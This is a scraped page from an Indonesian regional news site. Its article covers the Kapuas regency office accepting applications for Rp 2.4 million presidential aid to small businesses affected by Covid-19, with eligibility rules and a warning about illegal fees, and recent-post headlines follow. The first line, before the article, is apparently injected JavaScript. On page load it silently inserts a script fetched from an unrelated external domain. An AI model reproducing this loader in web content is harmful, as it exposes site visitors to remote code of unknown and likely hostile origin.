(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pelaku UMKM di Kapuas Akan Terima Banpres Sebesar Rp 2,4 Juta


KANALKALIMANTAN. COM, KUALA KAPUAS – Dinas Perindustrian dan Perdagangan, dan Koperasi Usaha Kecil Menengah (Disperindagkop dan UKM) Kabupaten Kapuas, memprediksi seribu warga yang tersebar seluruh kecamatan menyerahkan berkas untuk menerima bantuan modal kerja sebesar Rp 2,4 juta bagi pelaku Usaha Mikro Kecil dan Menengah (UMKM).

Hal itu disampaikan Plt. Kepala Disperindagkop dan UKM Kabupaten Kapuas, Batu Panahan, di ruang kerjanya, Selasa (20/10/2020). Bantuan Presiden (BanPres) ini disalurkan untuk membantu pelaku usaha kecil yang terdampak Covid-19.

Batu Panahan menjelaskan, berkas yang telah diserahkan tersebut akan diinput dan dikirim ke Kementerian Koperasi dan UKM bersama Kementerian Keuangan, dan Otoritas Jasa Keuangan (OJK).

“Kami hanya menerima berkas dan menginput data masyarakat, selebihnya yang menentukan bukan kami. Makanya kami terima berapapun berkas yang masuk, karena kuota tidak terbatas untuk setiap kabupaten/kota,” terang Batu.

Untuk Kabupaten Kapuas, telah dilakukan pencairan tahap pertama terhadap pelaku usaha masyarakat melalui pihak penyalur Bank BRI dan Bank BNI

Batu Panahan menyebutkan tidak semua pelaku usaha mendapat bantuan itu, meski berkasnya telah dilayangkan ke dinas. Bantuan tersebut hanya diberikan kepada pengusaha kecil yang baru memulai usahanya atau sudah menekuni sejak lama.

“Pelaku usaha kecil yang sedang menerima Kredit Modal Usaha Rakyat (KUR) atau kredit lain dari perbankan dan Aparatur Sipil Negara (ASN), anggota TNI/Polri atau pegawai BUMN/BUMD tidak berhak menerima,” terang Batu Panahan.

Jika masyarakat yang telah mengajukan berkas dan tercatat sebagai penerima bantuan lain dari pemerintah selama pandemi Covid, maka secara otomatis berkasnya itu gagal dilanjutkan ke tahap berikutnya. “Nanti sudah ada informasi melalui Nomor Induk Kependudukan (NIK) apakah seseorang itu telah menerima bantuan selama Covid,” paparnya.

Batu Panahan juga menegaskan kepada masyarakat kapuas, apabila ingin menyerahkan berkas Bantuan Produktif Usaha Mikro, agar kiranya menyerahkan langsung kepada petugas di kantor disperindagkop.

“Kepada masyarakat waspada terhadap kemunculan pungutan liar (pungli) dari pihak tak bertanggung jawab dalam proses penyerahan berkas sampai proses pencairan program bantuan tersebut dan apabila ada terindikasi pungli, segera laporkan”tegas Plt Kepala Disperindagkop Kapuas. (Kanalkalimantan.com/ags)

Reporter : Ags
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.